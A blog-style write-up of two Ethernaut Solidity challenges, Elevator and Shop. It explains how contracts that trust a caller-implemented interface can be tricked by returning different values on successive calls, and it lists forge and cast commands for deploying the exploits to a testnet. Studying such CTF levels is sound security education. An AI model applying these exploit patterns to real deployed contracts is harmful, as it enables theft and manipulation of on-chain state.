this challenge explores vulnerabilities in smart contract composability (usually classified into ERC standardslibraries, and interfaces):

more specifically, the lesson in this challenge is to be careful when using interfaces (or other contracts), as they introduce an attack surface to any re-implementable function (and view or pure modifiers cannot be treated as guarantees for function behavior).

remember that an interface cannot have any functions implemented, declare a constructor, declare state variables, and all functions must be external.

in addition, another takeaway is to refrain from giving permissions to msg.sender to implement interfaces or modify the storage and state of your contract (unless explicitly required).


discussion

the contract starts with an interface containing an external function that returns a bool if isLastFloor().

note that external allows a state change (an alternative is view, which doesn't allow modification of the state of the contract).

interface Building {
  function isLastFloor(uint) external returns (bool);
}

now, let's look at the Elevator contract, where we already see a mistake in the very definition:

contract Elevator {...}

should be, instead,

contract Elevator is Building {...} 

next, we see two state variables, bool top to indicate if we are at the top and uint floor telling where to go:

bool public top;
uint public floor;

finally, there is one (public) function, which simulates the movement of the elevator by first initiating the building contract (with the data provided by msg.sender) and then taking uint _floor.

this challenge's vulnerability is found in this part, due to the unchecked assumption about the caller:

function goTo(uint _floor) public {
    Building building = Building(msg.sender);
}

if the given floor number is not the last, fill both in variables floor and top:

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }

our goal is to pass the check !building.isLastFloor(_floor) so that we can make top == True by hacking the interface function isLastFloor().

we can achieve this by tailoring an exploit using the interface and defining isLastFloor() to return false in the first call and true in the second call (with the same input).


solution

an exploit could be crafted with contract.call(abi.encodeWithSignature("goTo(uint)", 0)).

however, since we are leveraging foundry, we craft the following exploit:

which can be tested with test/11.Elevator.t.sol:

by running:

> forge test --match-contract ElevatorTest -vvvv

and submitted with script/11/Elevator.s.sol:

by running:

> forge script ./script/11/Elevator.s.sol \ 
                --broadcast -vvvv \ 
                --rpc-url sepolia

pwned...


solution using cast and forge

another way to submit our exploit is through cast. first, we could deploy our attack contract with:

> forge create src/11/ElevatorExploit.sol:ElevatorExploit \ 
          --constructor-args=<level address> \ 
          --private-key=<private-key> \ 
          --rpc-url=<sepolia url> 

then, we call the contract with:

> cast send <level address> "run()" \ 
            --gas <extra gas> \ 
            --private-key=<private-key> --rpc-url=<sepolia url> 
  • finally, we can confirm that top() is true with:
> cast call <level address> "top()" --rpc-url=<sepolia url> 

1110. exploiting interfaces II

in this challenge we explore restrictions of view functions through an interface, similarly to level 11 for Elevator:

now, the goal is to find a way to buy items from a Shop contract for a lower price when compared to sold items.

remember that a view function cannot modify the state of the contract.

for instance, it cannot write to state variables, create other contracts, emit events, send ether with call(), use any low-level calls, use selfdestruct(), call functions that pure or view, or use inline assembly with certain opcodes.


discussion

the first part of this contract is the interface Buyer that defines as external view function, price(), representing the amount of wei a Buyer must pay:

interface Buyer {
  function price() external view returns (uint);
}

then, in the Shop contract, we have two state variables:

uint public price = 100;
bool public isSold;

and a public function buy(), where the price() is being called twice.

this is our vulnerability, as one should never trust external inputs (e.g., coming from the interface implementation):

function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
}

in other words, Shop expects Buyer to return the price it is willing to pay to buy the item, believing that the price would not change the second time it is called, as it is a view function.

we will use this as our exploit, querying the value of isSold() and returning a different result based on our needs:

  • the first time price() is called, it returns >100 to enter the loop.

  • then, the second time, it can return anything lower.


solution

we craft the following exploit at src/21/ShopExploit.sol:

check test/21.Shop.t.sol for testing this solution::

running:

> forge test --match-contract ShopTest -vvvv    

then, submit the solution with script/21/Shop.s.sol:

by running:

> forge script ./script/21/Shop.s.sol --broadcast -vvvv --rpc-url sepolia

pwned...


◻️♄

Subscribe to go outside labs
Receive the latest updates directly to your inbox.
Mint this entry as an NFT to add it to your collection.
Verification
This entry has been permanently stored onchain and signed by its creator.